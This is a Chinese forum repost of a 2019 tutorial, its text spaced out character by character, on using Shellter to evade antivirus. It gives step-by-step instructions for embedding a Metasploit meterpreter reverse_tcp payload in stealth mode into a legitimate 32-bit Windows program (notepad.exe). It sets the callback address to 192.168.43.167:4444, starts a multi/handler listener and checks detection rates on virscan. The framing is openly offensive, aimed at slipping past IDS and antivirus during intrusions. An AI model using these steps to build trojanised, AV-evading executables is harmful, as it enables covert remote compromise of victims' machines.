搜索

[26771] 2019-03-01_Shellter方式规避杀软

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2019-03-01_Shellter方式规避杀软 S h e l l t e r 方 式 规 避 杀 软 原 创   w h o a m i   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 0 3 - 0 1         在 黑 客 进 行 攻 击 的 的 过 程 中 通 常 都 需 要 规 避 安 全 防 护 设 备 ， 例 如 ： 入 侵 检 测 ( I D S ) 或 者 杀 毒 软 件 ( A V ) 。 当 在 使 用 一 些 他 人 或 者 其 它 工 具 生 成 的 e x p l o i t 或 者 p a y l o a d ， 例 如 ： m e t a s p l o i t 或 者 e x p l o i t - D B ， 在 进 行 入 侵 的 过 程 中 很 有 可 能 被 一 些 安 全 防 护 设 备 所 发 现 。 此 时 如 果 能 够 更 改 自 己 的 m a l w a r e 、 p a y l o a d 、 或 者 s h e l l c o d e ， 这 样 就 能 够 绕 过 杀 毒 软 件 ( A V ) 和 其 它 安 全 防 护 设 备 。 在 篇 文 章 中 ， 我 们 将 会 使 用 s h e l l t e r 的 方 式 绕 过 杀 软 ( A V ) ， 与 其 他 方 式 ( V e i l - E v a s i o n 等 ) 相 比 ， 它 在 重 新 编 码 p a y l o a d s 通 过 A V 软 件 方 面 效 果 更 加 显 著 。 1 、 、 S h e l l t e r 工 作 方 式 简 介 工 作 方 式 简 介 s h e l l t e r 能 够 重 新 编 码 本 机 3 2 位 独 立 的 W i n d o w s 应 用 程 序 。 能 够 采 用 任 何 3 2 位 的 W i n d o w s 应 用 程 序 ， 并 嵌 入 s h e l l c o d e ， 还 是 M e t a s p l o i t 等 应 用 程 序 提 供 的 p a y l o a d ， 利 用 这 种 方 式 通 常 都 能 够 绕 过 杀 软 ( A V ) 的 检 测 。 因 此 我 们 可 以 使 用 3 2 位 应 用 程 序 创 建 无 限 多 个 签 名 ， 从 而 绕 过 杀 软 ( A V ) 的 防 护 检 测 。 2 、 下 载 、 下 载 & 安 装 安 装 K a l i   L i n u x 系 统 下 安 装 : a p t - g e t   u p d a t e a p t - g e t   i n s t a l l   s h e l t e r W i n d o w s 系 统 下 ： h t t p s : / / w w w . s h e l l t e r p r o j e c t . c o m / D o w n l o a d s / S h e l l t e r / L a t e s t / s h e l l t e r . z i p 3 、 详 细 操 作 过 程 如 下 、 详 细 操 作 过 程 如 下 （ （ 1 ） 启 动 ） 启 动 s h e l l t e r 将 下 载 后 的 压 缩 包 进 行 减 压 并 双 击 s h e l l t e r . e x e 可 执 行 文 件 ， 如 图 所 示 ， 将 提 前 准 备 好 的 3 2 位 w i n d o w s 应 用 程 序 放 置 到 s h e l l t e r . e x e 同 一 目 录 ， 分 别 执 行 如 下 指 令 ： A :   表 示 自 动 操 作
N :   表 示 不 进 行 在 线 更 新 P E   T a r g e t ： 可 执 行 文 件 的 绝 对 路 径 （ （ 2 ） 设 定 ） 设 定 p a y l o a d 在 执 行 的 过 程 中 提 示 ： A 、 是 否 使 用 隐 身 模 式 ：   Y B 、 列 举 p a y l o a d ？ ： L C 、 设 定 所 选 p a y l o a d 对 应 标 号 ： 1 （ （ 3 ） 设 定 反 弹 ） 设 定 反 弹 i p 地 址 和 端 口 号 地 址 和 端 口 号 S E T   L H O S T :   1 9 2 . 1 6 8 . 4 3 . 1 6 7 S E T   L P O R T :   4 4 4 4
（ （ 4 ） 完 成 ） 完 成 等 待 结 束 后 ， 回 车 可 以 退 出 当 前 界 面 ， 此 时 我 们 已 经 将 p a y l o a d 嵌 入 到 了 n o d e p a d . e x e 中 （ （ 5 ） ） m e t a s p l o i t 处 进 行 监 听 ： 处 进 行 监 听 ： 此 处 具 体 过 程 省 略 ( 相 信 大 家 都 会 )
（ （ 6 ） 查 看 免 杀 情 况 ： ） 查 看 免 杀 情 况 ： h t t p : / / w w w . v i r s c a n . o r g / 作 者 ： 一 坨 奔 跑 的 蜗 牛   2 9 8 9   ） m s f 5   >   u s e   e x p l o i t / m u l t i / h a n d l e r m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   L H O S T   1 9 2 . 1 6 8 . 4 3 . 1 6 7 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   L P O R T   4 4 4 4 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   e x p l o i t   - j
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理